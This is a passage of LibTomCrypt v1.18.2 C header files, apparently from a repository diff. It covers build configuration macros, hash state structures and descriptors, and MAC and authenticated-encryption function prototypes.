/* rng_make_prng() */
#define LTC_RNG_MAKE_PRNG
/* enable the ltc_rng hook to integrate e.g. embedded hardware RNG's easily */
/* #define LTC_PRNG_ENABLE_LTC_RNG */
#endif /* LTC_NO_PRNGS */
#ifdef LTC_YARROW
/* which descriptor of AES to use? */
/* 0 = rijndael_enc 1 = aes_enc, 2 = rijndael [full], 3 = aes [full] */
#ifdef ENCRYPT_ONLY
#define LTC_YARROW_AES 0
#else
#define LTC_YARROW_AES 2
#endif
#endif
#ifdef LTC_FORTUNA
#ifndef LTC_FORTUNA_WD
/* reseed every N calls to the read function */
#define LTC_FORTUNA_WD 10
#endif
#ifndef LTC_FORTUNA_POOLS
/* number of pools (4..32) can save a bit of ram by lowering the count */
#define LTC_FORTUNA_POOLS 32
#endif
#endif /* LTC_FORTUNA */
/* ---> Public Key Crypto <--- */
#ifndef LTC_NO_PK
/* Include RSA support */
#define LTC_MRSA
/* Include Diffie-Hellman support */
/* is_prime fails for GMP */
#define LTC_MDH
/* Supported Key Sizes */
#define LTC_DH768
#define LTC_DH1024
#define LTC_DH1536
#define LTC_DH2048
#ifndef TFM_DESC
/* tfm has a problem in fp_isprime for larger key sizes */
#define LTC_DH3072
#define LTC_DH4096
#define LTC_DH6144
#define LTC_DH8192
#endif
/* Include Katja (a Rabin variant like RSA) */
/* #define LTC_MKAT */
/* Digital Signature Algorithm */
#define LTC_MDSA
/* ECC */
#define LTC_MECC
/* use Shamir's trick for point mul (speeds up signature verification) */
#define LTC_ECC_SHAMIR
#if defined(TFM_DESC) && defined(LTC_MECC)
#define LTC_MECC_ACCEL
#endif
/* do we want fixed point ECC */
/* #define LTC_MECC_FP */
#endif /* LTC_NO_PK */
#if defined(LTC_MRSA) && !defined(LTC_NO_RSA_BLINDING)
/* Enable RSA blinding when doing private key operations by default */
#define LTC_RSA_BLINDING
#endif /* LTC_NO_RSA_BLINDING */
#if defined(LTC_MRSA) && !defined(LTC_NO_RSA_CRT_HARDENING)
/* Enable RSA CRT hardening when doing private key operations by default */
#define LTC_RSA_CRT_HARDENING
#endif /* LTC_NO_RSA_CRT_HARDENING */
#if defined(LTC_MECC) && !defined(LTC_NO_ECC_TIMING_RESISTANT)
/* Enable ECC timing resistant version by default */
#define LTC_ECC_TIMING_RESISTANT
#endif
/* PKCS #1 (RSA) and #5 (Password Handling) stuff */
#ifndef LTC_NO_PKCS
#define LTC_PKCS_1
#define LTC_PKCS_5
/* Include ASN.1 DER (required by DSA/RSA) */
#define LTC_DER
#endif /* LTC_NO_PKCS */
/* misc stuff */
#ifndef LTC_NO_MISC
/* Various tidbits of modern neatoness */
#define LTC_BASE64
/* ... and it's URL safe version */
#define LTC_BASE64_URL
/* Keep LTC_NO_HKDF for compatibility reasons
* superseeded by LTC_NO_MISC*/
#ifndef LTC_NO_HKDF
/* HKDF Key Derivation/Expansion stuff */
#define LTC_HKDF
#endif /* LTC_NO_HKDF */
#define LTC_ADLER32
#define LTC_CRC32
#endif /* LTC_NO_MISC */
/* cleanup */
#ifdef LTC_MECC
/* Supported ECC Key Sizes */
#ifndef LTC_NO_CURVES
#define LTC_ECC112
#define LTC_ECC128
#define LTC_ECC160
#define LTC_ECC192
#define LTC_ECC224
#define LTC_ECC256
#define LTC_ECC384
#define LTC_ECC521
#endif
#endif
#if defined(LTC_DER)
#ifndef LTC_DER_MAX_RECURSION
/* Maximum recursion limit when processing nested ASN.1 types. */
#define LTC_DER_MAX_RECURSION 30
#endif
#endif
#if defined(LTC_MECC) || defined(LTC_MRSA) || defined(LTC_MDSA) || defined(LTC_MKAT)
/* Include the MPI functionality? (required by the PK algorithms) */
#define LTC_MPI
#ifndef LTC_PK_MAX_RETRIES
/* iterations limit for retry-loops */
#define LTC_PK_MAX_RETRIES 20
#endif
#endif
#ifdef LTC_MRSA
#define LTC_PKCS_1
#endif
#if defined(LTC_PELICAN) && !defined(LTC_RIJNDAEL)
#error Pelican-MAC requires LTC_RIJNDAEL
#endif
#if defined(LTC_EAX_MODE) && !(defined(LTC_CTR_MODE) && defined(LTC_OMAC))
#error LTC_EAX_MODE requires CTR and LTC_OMAC mode
#endif
#if defined(LTC_YARROW) && !defined(LTC_CTR_MODE)
#error LTC_YARROW requires LTC_CTR_MODE chaining mode to be defined!
#endif
#if defined(LTC_DER) && !defined(LTC_MPI)
#error ASN.1 DER requires MPI functionality
#endif
#if (defined(LTC_MDSA) || defined(LTC_MRSA) || defined(LTC_MECC) || defined(LTC_MKAT)) && !defined(LTC_DER)
#error PK requires ASN.1 DER functionality, make sure LTC_DER is enabled
#endif
#if defined(LTC_CHACHA20POLY1305_MODE) && (!defined(LTC_CHACHA) || !defined(LTC_POLY1305))
#error LTC_CHACHA20POLY1305_MODE requires LTC_CHACHA + LTC_POLY1305
#endif
#if defined(LTC_CHACHA20_PRNG) && !defined(LTC_CHACHA)
#error LTC_CHACHA20_PRNG requires LTC_CHACHA
#endif
#if defined(LTC_RC4) && !defined(LTC_RC4_STREAM)
#error LTC_RC4 requires LTC_RC4_STREAM
#endif
#if defined(LTC_SOBER128) && !defined(LTC_SOBER128_STREAM)
#error LTC_SOBER128 requires LTC_SOBER128_STREAM
#endif
#if defined(LTC_BLAKE2SMAC) && !defined(LTC_BLAKE2S)
#error LTC_BLAKE2SMAC requires LTC_BLAKE2S
#endif
#if defined(LTC_BLAKE2BMAC) && !defined(LTC_BLAKE2B)
#error LTC_BLAKE2BMAC requires LTC_BLAKE2B
#endif
#if defined(LTC_SPRNG) && !defined(LTC_RNG_GET_BYTES)
#error LTC_SPRNG requires LTC_RNG_GET_BYTES
#endif
#if defined(LTC_NO_MATH) && (defined(LTM_DESC) || defined(TFM_DESC) || defined(GMP_DESC))
#error LTC_NO_MATH defined, but also a math descriptor
#endif
/* THREAD management */
#ifdef LTC_PTHREAD
#include <pthread.h>
#define LTC_MUTEX_GLOBAL(x) pthread_mutex_t x = PTHREAD_MUTEX_INITIALIZER;
#define LTC_MUTEX_PROTO(x) extern pthread_mutex_t x;
#define LTC_MUTEX_TYPE(x) pthread_mutex_t x;
#define LTC_MUTEX_INIT(x) LTC_ARGCHK(pthread_mutex_init(x, NULL) == 0);
#define LTC_MUTEX_LOCK(x) LTC_ARGCHK(pthread_mutex_lock(x) == 0);
#define LTC_MUTEX_UNLOCK(x) LTC_ARGCHK(pthread_mutex_unlock(x) == 0);
#define LTC_MUTEX_DESTROY(x) LTC_ARGCHK(pthread_mutex_destroy(x) == 0);
#else
/* default no functions */
#define LTC_MUTEX_GLOBAL(x)
#define LTC_MUTEX_PROTO(x)
#define LTC_MUTEX_TYPE(x)
#define LTC_MUTEX_INIT(x)
#define LTC_MUTEX_LOCK(x)
#define LTC_MUTEX_UNLOCK(x)
#define LTC_MUTEX_DESTROY(x)
#endif
/* Debuggers */
/* define this if you use Valgrind, note: it CHANGES the way SOBER-128 and RC4 work (see the code) */
/* #define LTC_VALGRIND */
#endif
#ifndef LTC_NO_FILE
/* buffer size for reading from a file via fread(..) */
#ifndef LTC_FILE_READ_BUFSIZE
#define LTC_FILE_READ_BUFSIZE 8192
#endif
#endif
/* ref: HEAD -> master, tag: v1.18.2 */
/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
/* commit time: 2018-07-01 22:49:01 +0200 */

531
include/tomcrypt_hash.h Normal file
View File

@ -0,0 +1,531 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* ---- HASH FUNCTIONS ---- */
#ifdef LTC_SHA3
struct sha3_state {
ulong64 saved; /* the portion of the input message that we didn't consume yet */
ulong64 s[25];
unsigned char sb[25 * 8]; /* used for storing `ulong64 s[25]` as little-endian bytes */
unsigned short byte_index; /* 0..7--the next byte after the set one (starts from 0; 0--none are buffered) */
unsigned short word_index; /* 0..24--the next word to integrate input (starts from 0) */
unsigned short capacity_words; /* the double size of the hash output in words (e.g. 16 for Keccak 512) */
unsigned short xof_flag;
};
#endif
#ifdef LTC_SHA512
struct sha512_state {
ulong64 length, state[8];
unsigned long curlen;
unsigned char buf[128];
};
#endif
#ifdef LTC_SHA256
struct sha256_state {
ulong64 length;
ulong32 state[8], curlen;
unsigned char buf[64];
};
#endif
#ifdef LTC_SHA1
struct sha1_state {
ulong64 length;
ulong32 state[5], curlen;
unsigned char buf[64];
};
#endif
#ifdef LTC_MD5
struct md5_state {
ulong64 length;
ulong32 state[4], curlen;
unsigned char buf[64];
};
#endif
#ifdef LTC_MD4
struct md4_state {
ulong64 length;
ulong32 state[4], curlen;
unsigned char buf[64];
};
#endif
#ifdef LTC_TIGER
struct tiger_state {
ulong64 state[3], length;
unsigned long curlen;
unsigned char buf[64];
};
#endif
#ifdef LTC_MD2
struct md2_state {
unsigned char chksum[16], X[48], buf[16];
unsigned long curlen;
};
#endif
#ifdef LTC_RIPEMD128
struct rmd128_state {
ulong64 length;
unsigned char buf[64];
ulong32 curlen, state[4];
};
#endif
#ifdef LTC_RIPEMD160
struct rmd160_state {
ulong64 length;
unsigned char buf[64];
ulong32 curlen, state[5];
};
#endif
#ifdef LTC_RIPEMD256
struct rmd256_state {
ulong64 length;
unsigned char buf[64];
ulong32 curlen, state[8];
};
#endif
#ifdef LTC_RIPEMD320
struct rmd320_state {
ulong64 length;
unsigned char buf[64];
ulong32 curlen, state[10];
};
#endif
#ifdef LTC_WHIRLPOOL
struct whirlpool_state {
ulong64 length, state[8];
unsigned char buf[64];
ulong32 curlen;
};
#endif
#ifdef LTC_CHC_HASH
struct chc_state {
ulong64 length;
unsigned char state[MAXBLOCKSIZE], buf[MAXBLOCKSIZE];
ulong32 curlen;
};
#endif
#ifdef LTC_BLAKE2S
struct blake2s_state {
ulong32 h[8];
ulong32 t[2];
ulong32 f[2];
unsigned char buf[64];
unsigned long curlen;
unsigned long outlen;
unsigned char last_node;
};
#endif
#ifdef LTC_BLAKE2B
struct blake2b_state {
ulong64 h[8];
ulong64 t[2];
ulong64 f[2];
unsigned char buf[128];
unsigned long curlen;
unsigned long outlen;
unsigned char last_node;
};
#endif
typedef union Hash_state {
char dummy[1];
#ifdef LTC_CHC_HASH
struct chc_state chc;
#endif
#ifdef LTC_WHIRLPOOL
struct whirlpool_state whirlpool;
#endif
#ifdef LTC_SHA3
struct sha3_state sha3;
#endif
#ifdef LTC_SHA512
struct sha512_state sha512;
#endif
#ifdef LTC_SHA256
struct sha256_state sha256;
#endif
#ifdef LTC_SHA1
struct sha1_state sha1;
#endif
#ifdef LTC_MD5
struct md5_state md5;
#endif
#ifdef LTC_MD4
struct md4_state md4;
#endif
#ifdef LTC_MD2
struct md2_state md2;
#endif
#ifdef LTC_TIGER
struct tiger_state tiger;
#endif
#ifdef LTC_RIPEMD128
struct rmd128_state rmd128;
#endif
#ifdef LTC_RIPEMD160
struct rmd160_state rmd160;
#endif
#ifdef LTC_RIPEMD256
struct rmd256_state rmd256;
#endif
#ifdef LTC_RIPEMD320
struct rmd320_state rmd320;
#endif
#ifdef LTC_BLAKE2S
struct blake2s_state blake2s;
#endif
#ifdef LTC_BLAKE2B
struct blake2b_state blake2b;
#endif
void *data;
} hash_state;
/** hash descriptor */
extern struct ltc_hash_descriptor {
/** name of hash */
const char *name;
/** internal ID */
unsigned char ID;
/** Size of digest in octets */
unsigned long hashsize;
/** Input block size in octets */
unsigned long blocksize;
/** ASN.1 OID */
unsigned long OID[16];
/** Length of DER encoding */
unsigned long OIDlen;
/** Init a hash state
@param hash The hash to initialize
@return CRYPT_OK if successful
*/
int (*init)(hash_state *hash);
/** Process a block of data
@param hash The hash state
@param in The data to hash
@param inlen The length of the data (octets)
@return CRYPT_OK if successful
*/
int (*process)(hash_state *hash, const unsigned char *in, unsigned long inlen);
/** Produce the digest and store it
@param hash The hash state
@param out [out] The destination of the digest
@return CRYPT_OK if successful
*/
int (*done)(hash_state *hash, unsigned char *out);
/** Self-test
@return CRYPT_OK if successful, CRYPT_NOP if self-tests have been disabled
*/
int (*test)(void);
/* accelerated hmac callback: if you need to-do multiple packets just use the generic hmac_memory and provide a hash callback */
int (*hmac_block)(const unsigned char *key, unsigned long keylen,
const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
} hash_descriptor[];
#ifdef LTC_CHC_HASH
int chc_register(int cipher);
int chc_init(hash_state * md);
int chc_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int chc_done(hash_state * md, unsigned char *hash);
int chc_test(void);
extern const struct ltc_hash_descriptor chc_desc;
#endif
#ifdef LTC_WHIRLPOOL
int whirlpool_init(hash_state * md);
int whirlpool_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int whirlpool_done(hash_state * md, unsigned char *hash);
int whirlpool_test(void);
extern const struct ltc_hash_descriptor whirlpool_desc;
#endif
#ifdef LTC_SHA3
int sha3_512_init(hash_state * md);
int sha3_512_test(void);
extern const struct ltc_hash_descriptor sha3_512_desc;
int sha3_384_init(hash_state * md);
int sha3_384_test(void);
extern const struct ltc_hash_descriptor sha3_384_desc;
int sha3_256_init(hash_state * md);
int sha3_256_test(void);
extern const struct ltc_hash_descriptor sha3_256_desc;
int sha3_224_init(hash_state * md);
int sha3_224_test(void);
extern const struct ltc_hash_descriptor sha3_224_desc;
/* process + done are the same for all variants */
int sha3_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int sha3_done(hash_state *md, unsigned char *hash);
/* SHAKE128 + SHAKE256 */
int sha3_shake_init(hash_state *md, int num);
#define sha3_shake_process(a,b,c) sha3_process(a,b,c)
int sha3_shake_done(hash_state *md, unsigned char *out, unsigned long outlen);
int sha3_shake_test(void);
int sha3_shake_memory(int num, const unsigned char *in, unsigned long inlen, unsigned char *out, unsigned long *outlen);
#endif
#ifdef LTC_SHA512
int sha512_init(hash_state * md);
int sha512_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int sha512_done(hash_state * md, unsigned char *hash);
int sha512_test(void);
extern const struct ltc_hash_descriptor sha512_desc;
#endif
#ifdef LTC_SHA384
#ifndef LTC_SHA512
#error LTC_SHA512 is required for LTC_SHA384
#endif
int sha384_init(hash_state * md);
#define sha384_process sha512_process
int sha384_done(hash_state * md, unsigned char *hash);
int sha384_test(void);
extern const struct ltc_hash_descriptor sha384_desc;
#endif
#ifdef LTC_SHA512_256
#ifndef LTC_SHA512
#error LTC_SHA512 is required for LTC_SHA512_256
#endif
int sha512_256_init(hash_state * md);
#define sha512_256_process sha512_process
int sha512_256_done(hash_state * md, unsigned char *hash);
int sha512_256_test(void);
extern const struct ltc_hash_descriptor sha512_256_desc;
#endif
#ifdef LTC_SHA512_224
#ifndef LTC_SHA512
#error LTC_SHA512 is required for LTC_SHA512_224
#endif
int sha512_224_init(hash_state * md);
#define sha512_224_process sha512_process
int sha512_224_done(hash_state * md, unsigned char *hash);
int sha512_224_test(void);
extern const struct ltc_hash_descriptor sha512_224_desc;
#endif
#ifdef LTC_SHA256
int sha256_init(hash_state * md);
int sha256_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int sha256_done(hash_state * md, unsigned char *hash);
int sha256_test(void);
extern const struct ltc_hash_descriptor sha256_desc;
#ifdef LTC_SHA224
#ifndef LTC_SHA256
#error LTC_SHA256 is required for LTC_SHA224
#endif
int sha224_init(hash_state * md);
#define sha224_process sha256_process
int sha224_done(hash_state * md, unsigned char *hash);
int sha224_test(void);
extern const struct ltc_hash_descriptor sha224_desc;
#endif
#endif
#ifdef LTC_SHA1
int sha1_init(hash_state * md);
int sha1_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int sha1_done(hash_state * md, unsigned char *hash);
int sha1_test(void);
extern const struct ltc_hash_descriptor sha1_desc;
#endif
#ifdef LTC_BLAKE2S
extern const struct ltc_hash_descriptor blake2s_256_desc;
int blake2s_256_init(hash_state * md);
int blake2s_256_test(void);
extern const struct ltc_hash_descriptor blake2s_224_desc;
int blake2s_224_init(hash_state * md);
int blake2s_224_test(void);
extern const struct ltc_hash_descriptor blake2s_160_desc;
int blake2s_160_init(hash_state * md);
int blake2s_160_test(void);
extern const struct ltc_hash_descriptor blake2s_128_desc;
int blake2s_128_init(hash_state * md);
int blake2s_128_test(void);
int blake2s_init(hash_state * md, unsigned long outlen, const unsigned char *key, unsigned long keylen);
int blake2s_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int blake2s_done(hash_state * md, unsigned char *hash);
#endif
#ifdef LTC_BLAKE2B
extern const struct ltc_hash_descriptor blake2b_512_desc;
int blake2b_512_init(hash_state * md);
int blake2b_512_test(void);
extern const struct ltc_hash_descriptor blake2b_384_desc;
int blake2b_384_init(hash_state * md);
int blake2b_384_test(void);
extern const struct ltc_hash_descriptor blake2b_256_desc;
int blake2b_256_init(hash_state * md);
int blake2b_256_test(void);
extern const struct ltc_hash_descriptor blake2b_160_desc;
int blake2b_160_init(hash_state * md);
int blake2b_160_test(void);
int blake2b_init(hash_state * md, unsigned long outlen, const unsigned char *key, unsigned long keylen);
int blake2b_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int blake2b_done(hash_state * md, unsigned char *hash);
#endif
#ifdef LTC_MD5
int md5_init(hash_state * md);
int md5_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int md5_done(hash_state * md, unsigned char *hash);
int md5_test(void);
extern const struct ltc_hash_descriptor md5_desc;
#endif
#ifdef LTC_MD4
int md4_init(hash_state * md);
int md4_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int md4_done(hash_state * md, unsigned char *hash);
int md4_test(void);
extern const struct ltc_hash_descriptor md4_desc;
#endif
#ifdef LTC_MD2
int md2_init(hash_state * md);
int md2_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int md2_done(hash_state * md, unsigned char *hash);
int md2_test(void);
extern const struct ltc_hash_descriptor md2_desc;
#endif
#ifdef LTC_TIGER
int tiger_init(hash_state * md);
int tiger_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int tiger_done(hash_state * md, unsigned char *hash);
int tiger_test(void);
extern const struct ltc_hash_descriptor tiger_desc;
#endif
#ifdef LTC_RIPEMD128
int rmd128_init(hash_state * md);
int rmd128_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int rmd128_done(hash_state * md, unsigned char *hash);
int rmd128_test(void);
extern const struct ltc_hash_descriptor rmd128_desc;
#endif
#ifdef LTC_RIPEMD160
int rmd160_init(hash_state * md);
int rmd160_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int rmd160_done(hash_state * md, unsigned char *hash);
int rmd160_test(void);
extern const struct ltc_hash_descriptor rmd160_desc;
#endif
#ifdef LTC_RIPEMD256
int rmd256_init(hash_state * md);
int rmd256_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int rmd256_done(hash_state * md, unsigned char *hash);
int rmd256_test(void);
extern const struct ltc_hash_descriptor rmd256_desc;
#endif
#ifdef LTC_RIPEMD320
int rmd320_init(hash_state * md);
int rmd320_process(hash_state * md, const unsigned char *in, unsigned long inlen);
int rmd320_done(hash_state * md, unsigned char *hash);
int rmd320_test(void);
extern const struct ltc_hash_descriptor rmd320_desc;
#endif
int find_hash(const char *name);
int find_hash_id(unsigned char ID);
int find_hash_oid(const unsigned long *ID, unsigned long IDlen);
int find_hash_any(const char *name, int digestlen);
int register_hash(const struct ltc_hash_descriptor *hash);
int unregister_hash(const struct ltc_hash_descriptor *hash);
int register_all_hashes(void);
int hash_is_valid(int idx);
LTC_MUTEX_PROTO(ltc_hash_mutex)
int hash_memory(int hash,
const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int hash_memory_multi(int hash, unsigned char *out, unsigned long *outlen,
const unsigned char *in, unsigned long inlen, ...);
#ifndef LTC_NO_FILE
int hash_filehandle(int hash, FILE *in, unsigned char *out, unsigned long *outlen);
int hash_file(int hash, const char *fname, unsigned char *out, unsigned long *outlen);
#endif
/* a simple macro for making hash "process" functions */
#define HASH_PROCESS(func_name, compress_name, state_var, block_size) \
int func_name (hash_state * md, const unsigned char *in, unsigned long inlen) \
{ \
unsigned long n; \
int err; \
LTC_ARGCHK(md != NULL); \
LTC_ARGCHK(in != NULL); \
if (md-> state_var .curlen > sizeof(md-> state_var .buf)) { \
return CRYPT_INVALID_ARG; \
} \
if ((md-> state_var .length + inlen) < md-> state_var .length) { \
return CRYPT_HASH_OVERFLOW; \
} \
while (inlen > 0) { \
if (md-> state_var .curlen == 0 && inlen >= block_size) { \
if ((err = compress_name (md, (unsigned char *)in)) != CRYPT_OK) { \
return err; \
} \
md-> state_var .length += block_size * 8; \
in += block_size; \
inlen -= block_size; \
} else { \
n = MIN(inlen, (block_size - md-> state_var .curlen)); \
XMEMCPY(md-> state_var .buf + md-> state_var.curlen, in, (size_t)n); \
md-> state_var .curlen += n; \
in += n; \
inlen -= n; \
if (md-> state_var .curlen == block_size) { \
if ((err = compress_name (md, md-> state_var .buf)) != CRYPT_OK) { \
return err; \
} \
md-> state_var .length += 8*block_size; \
md-> state_var .curlen = 0; \
} \
} \
} \
return CRYPT_OK; \
}
/* ref: HEAD -> master, tag: v1.18.2 */
/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
/* commit time: 2018-07-01 22:49:01 +0200 */

565
include/tomcrypt_mac.h Normal file
View File

@ -0,0 +1,565 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
#ifdef LTC_HMAC
typedef struct Hmac_state {
hash_state md;
int hash;
hash_state hashstate;
unsigned char *key;
} hmac_state;
int hmac_init(hmac_state *hmac, int hash, const unsigned char *key, unsigned long keylen);
int hmac_process(hmac_state *hmac, const unsigned char *in, unsigned long inlen);
int hmac_done(hmac_state *hmac, unsigned char *out, unsigned long *outlen);
int hmac_test(void);
int hmac_memory(int hash,
const unsigned char *key, unsigned long keylen,
const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int hmac_memory_multi(int hash,
const unsigned char *key, unsigned long keylen,
unsigned char *out, unsigned long *outlen,
const unsigned char *in, unsigned long inlen, ...);
int hmac_file(int hash, const char *fname, const unsigned char *key,
unsigned long keylen,
unsigned char *dst, unsigned long *dstlen);
#endif
#ifdef LTC_OMAC
typedef struct {
int cipher_idx,
buflen,
blklen;
unsigned char block[MAXBLOCKSIZE],
prev[MAXBLOCKSIZE],
Lu[2][MAXBLOCKSIZE];
symmetric_key key;
} omac_state;
int omac_init(omac_state *omac, int cipher, const unsigned char *key, unsigned long keylen);
int omac_process(omac_state *omac, const unsigned char *in, unsigned long inlen);
int omac_done(omac_state *omac, unsigned char *out, unsigned long *outlen);
int omac_memory(int cipher,
const unsigned char *key, unsigned long keylen,
const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int omac_memory_multi(int cipher,
const unsigned char *key, unsigned long keylen,
unsigned char *out, unsigned long *outlen,
const unsigned char *in, unsigned long inlen, ...);
int omac_file(int cipher,
const unsigned char *key, unsigned long keylen,
const char *filename,
unsigned char *out, unsigned long *outlen);
int omac_test(void);
#endif /* LTC_OMAC */
#ifdef LTC_PMAC
typedef struct {
unsigned char Ls[32][MAXBLOCKSIZE], /* L shifted by i bits to the left */
Li[MAXBLOCKSIZE], /* value of Li [current value, we calc from previous recall] */
Lr[MAXBLOCKSIZE], /* L * x^-1 */
block[MAXBLOCKSIZE], /* currently accumulated block */
checksum[MAXBLOCKSIZE]; /* current checksum */
symmetric_key key; /* scheduled key for cipher */
unsigned long block_index; /* index # for current block */
int cipher_idx, /* cipher idx */
block_len, /* length of block */
buflen; /* number of bytes in the buffer */
} pmac_state;
int pmac_init(pmac_state *pmac, int cipher, const unsigned char *key, unsigned long keylen);
int pmac_process(pmac_state *pmac, const unsigned char *in, unsigned long inlen);
int pmac_done(pmac_state *pmac, unsigned char *out, unsigned long *outlen);
int pmac_memory(int cipher,
const unsigned char *key, unsigned long keylen,
const unsigned char *msg, unsigned long msglen,
unsigned char *out, unsigned long *outlen);
int pmac_memory_multi(int cipher,
const unsigned char *key, unsigned long keylen,
unsigned char *out, unsigned long *outlen,
const unsigned char *in, unsigned long inlen, ...);
int pmac_file(int cipher,
const unsigned char *key, unsigned long keylen,
const char *filename,
unsigned char *out, unsigned long *outlen);
int pmac_test(void);
/* internal functions */
int pmac_ntz(unsigned long x);
void pmac_shift_xor(pmac_state *pmac);
#endif /* PMAC */
#ifdef LTC_POLY1305
typedef struct {
ulong32 r[5];
ulong32 h[5];
ulong32 pad[4];
unsigned long leftover;
unsigned char buffer[16];
int final;
} poly1305_state;
int poly1305_init(poly1305_state *st, const unsigned char *key, unsigned long keylen);
int poly1305_process(poly1305_state *st, const unsigned char *in, unsigned long inlen);
int poly1305_done(poly1305_state *st, unsigned char *mac, unsigned long *maclen);
int poly1305_memory(const unsigned char *key, unsigned long keylen, const unsigned char *in, unsigned long inlen, unsigned char *mac, unsigned long *maclen);
int poly1305_memory_multi(const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen, const unsigned char *in, unsigned long inlen, ...);
int poly1305_file(const char *fname, const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen);
int poly1305_test(void);
#endif /* LTC_POLY1305 */
#ifdef LTC_BLAKE2SMAC
typedef hash_state blake2smac_state;
int blake2smac_init(blake2smac_state *st, unsigned long outlen, const unsigned char *key, unsigned long keylen);
int blake2smac_process(blake2smac_state *st, const unsigned char *in, unsigned long inlen);
int blake2smac_done(blake2smac_state *st, unsigned char *mac, unsigned long *maclen);
int blake2smac_memory(const unsigned char *key, unsigned long keylen, const unsigned char *in, unsigned long inlen, unsigned char *mac, unsigned long *maclen);
int blake2smac_memory_multi(const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen, const unsigned char *in, unsigned long inlen, ...);
int blake2smac_file(const char *fname, const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen);
int blake2smac_test(void);
#endif /* LTC_BLAKE2SMAC */
#ifdef LTC_BLAKE2BMAC
typedef hash_state blake2bmac_state;
int blake2bmac_init(blake2bmac_state *st, unsigned long outlen, const unsigned char *key, unsigned long keylen);
int blake2bmac_process(blake2bmac_state *st, const unsigned char *in, unsigned long inlen);
int blake2bmac_done(blake2bmac_state *st, unsigned char *mac, unsigned long *maclen);
int blake2bmac_memory(const unsigned char *key, unsigned long keylen, const unsigned char *in, unsigned long inlen, unsigned char *mac, unsigned long *maclen);
int blake2bmac_memory_multi(const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen, const unsigned char *in, unsigned long inlen, ...);
int blake2bmac_file(const char *fname, const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen);
int blake2bmac_test(void);
#endif /* LTC_BLAKE2BMAC */
#ifdef LTC_EAX_MODE
#if !(defined(LTC_OMAC) && defined(LTC_CTR_MODE))
#error LTC_EAX_MODE requires LTC_OMAC and CTR
#endif
typedef struct {
unsigned char N[MAXBLOCKSIZE];
symmetric_CTR ctr;
omac_state headeromac, ctomac;
} eax_state;
int eax_init(eax_state *eax, int cipher, const unsigned char *key, unsigned long keylen,
const unsigned char *nonce, unsigned long noncelen,
const unsigned char *header, unsigned long headerlen);
int eax_encrypt(eax_state *eax, const unsigned char *pt, unsigned char *ct, unsigned long length);
int eax_decrypt(eax_state *eax, const unsigned char *ct, unsigned char *pt, unsigned long length);
int eax_addheader(eax_state *eax, const unsigned char *header, unsigned long length);
int eax_done(eax_state *eax, unsigned char *tag, unsigned long *taglen);
int eax_encrypt_authenticate_memory(int cipher,
const unsigned char *key, unsigned long keylen,
const unsigned char *nonce, unsigned long noncelen,
const unsigned char *header, unsigned long headerlen,
const unsigned char *pt, unsigned long ptlen,
unsigned char *ct,
unsigned char *tag, unsigned long *taglen);
int eax_decrypt_verify_memory(int cipher,
const unsigned char *key, unsigned long keylen,
const unsigned char *nonce, unsigned long noncelen,
const unsigned char *header, unsigned long headerlen,
const unsigned char *ct, unsigned long ctlen,
unsigned char *pt,
unsigned char *tag, unsigned long taglen,
int *stat);
int eax_test(void);
#endif /* EAX MODE */
#ifdef LTC_OCB_MODE
typedef struct {
unsigned char L[MAXBLOCKSIZE], /* L value */
Ls[32][MAXBLOCKSIZE], /* L shifted by i bits to the left */
Li[MAXBLOCKSIZE], /* value of Li [current value, we calc from previous recall] */
Lr[MAXBLOCKSIZE], /* L * x^-1 */
R[MAXBLOCKSIZE], /* R value */
checksum[MAXBLOCKSIZE]; /* current checksum */
symmetric_key key; /* scheduled key for cipher */
unsigned long block_index; /* index # for current block */
int cipher, /* cipher idx */
block_len; /* length of block */
} ocb_state;
int ocb_init(ocb_state *ocb, int cipher,
const unsigned char *key, unsigned long keylen, const unsigned char *nonce);
int ocb_encrypt(ocb_state *ocb, const unsigned char *pt, unsigned char *ct);
int ocb_decrypt(ocb_state *ocb, const unsigned char *ct, unsigned char *pt);
int ocb_done_encrypt(ocb_state *ocb,
const unsigned char *pt, unsigned long ptlen,
unsigned char *ct,
unsigned char *tag, unsigned long *taglen);
int ocb_done_decrypt(ocb_state *ocb,
const unsigned char *ct, unsigned long ctlen,
unsigned char *pt,
const unsigned char *tag, unsigned long taglen, int *stat);
int ocb_encrypt_authenticate_memory(int cipher,
const unsigned char *key, unsigned long keylen,
const unsigned char *nonce,
const unsigned char *pt, unsigned long ptlen,
unsigned char *ct,
unsigned char *tag, unsigned long *taglen);
int ocb_decrypt_verify_memory(int cipher,
const unsigned char *key, unsigned long keylen,
const unsigned char *nonce,
const unsigned char *ct, unsigned long ctlen,
unsigned char *pt,
const unsigned char *tag, unsigned long taglen,
int *stat);
int ocb_test(void);
